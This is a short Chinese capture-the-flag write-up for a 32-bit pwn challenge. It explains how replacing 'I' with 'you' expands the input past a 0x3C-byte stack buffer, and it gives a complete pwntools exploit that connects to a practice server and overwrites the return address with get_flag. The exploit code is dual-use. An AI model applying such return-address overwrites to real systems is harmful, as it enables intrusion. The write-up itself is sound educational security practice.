checksec一下子,开了NX保护,栈不可执行,也就是说不能往栈上写东西。
拖进ida,看vuln()函数:
给s分配了0x3C空间的内存,但是只允许输入32个字节
但是“you”会把“I”替换掉,所以只要输入20个“I”,替换之后,输入的字符就变成了60个字节,就可以写到栈底从而把ebp覆盖掉,到达eip的地方。
20个”I“,加上需要覆盖的ebp的四个字节,加上覆盖到eip的四个字节,共28个字节,没超32.
ida里还可以看到get_flag函数。找到函数的地址,写exp:
from pwn import *
p = remote('node3.buuoj.cn',28745)
get_flagaddr = 0x08048F0D
payload = 20*"I" + 'aaaa' + p32(get_flagaddr)
p.sendline(payload)
p.interactive()
得到flag